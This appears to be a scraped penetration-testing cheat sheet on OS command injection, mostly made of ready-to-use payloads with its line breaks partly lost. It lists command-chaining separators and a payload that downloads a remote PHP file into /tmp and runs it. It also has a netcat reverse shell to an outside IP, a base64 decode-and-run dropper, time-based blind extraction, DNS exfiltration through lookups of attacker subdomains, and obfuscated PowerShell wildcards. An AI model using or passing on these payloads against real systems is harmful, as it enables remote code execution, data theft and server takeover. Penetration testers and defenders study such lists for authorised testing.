OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data. (From here).
Depending on where your input is being injected you may need to terminate the quoted context (using
') before the commands.
#Both Unix and Windows supportedls||id; ls ||id; ls|| id; ls || id # Execute bothls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish okls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2ºls %0A id # %0A Execute both (RECOMMENDED)#Only unix supported`ls` # ``$(ls) # $()ls; id # ; Chain commands#Not execute but may be interesting> /var/www/html/out.txt #Try to redirect the output to a file< /etc/passwd #Try to send some input to the command
If you are trying to execute arbitrary commands inside a linux machine you will be interesting in read about this WAF bypasses.
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.phpvuln=127.0.0.1%0anohup nc -e /bin/bash 220.127.116.11 80vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from link):
Extracting data : char by char
[email protected]▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fireal 0m5.007suser 0m0.000ssys 0m0.000s[email protected]▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fireal 0m0.002suser 0m0.000ssys 0m0.000s
Based on the tool from
https://github.com/HoLyVieR/dnsbin also hosted at dnsbin.zhack.ca
1. Go to http://dnsbin.zhack.ca/2. Execute a simple 'ls'for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Online tools to check for DNS based data exfiltration:
powershell C:\*\*2\n??e*d.*? # notepad@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc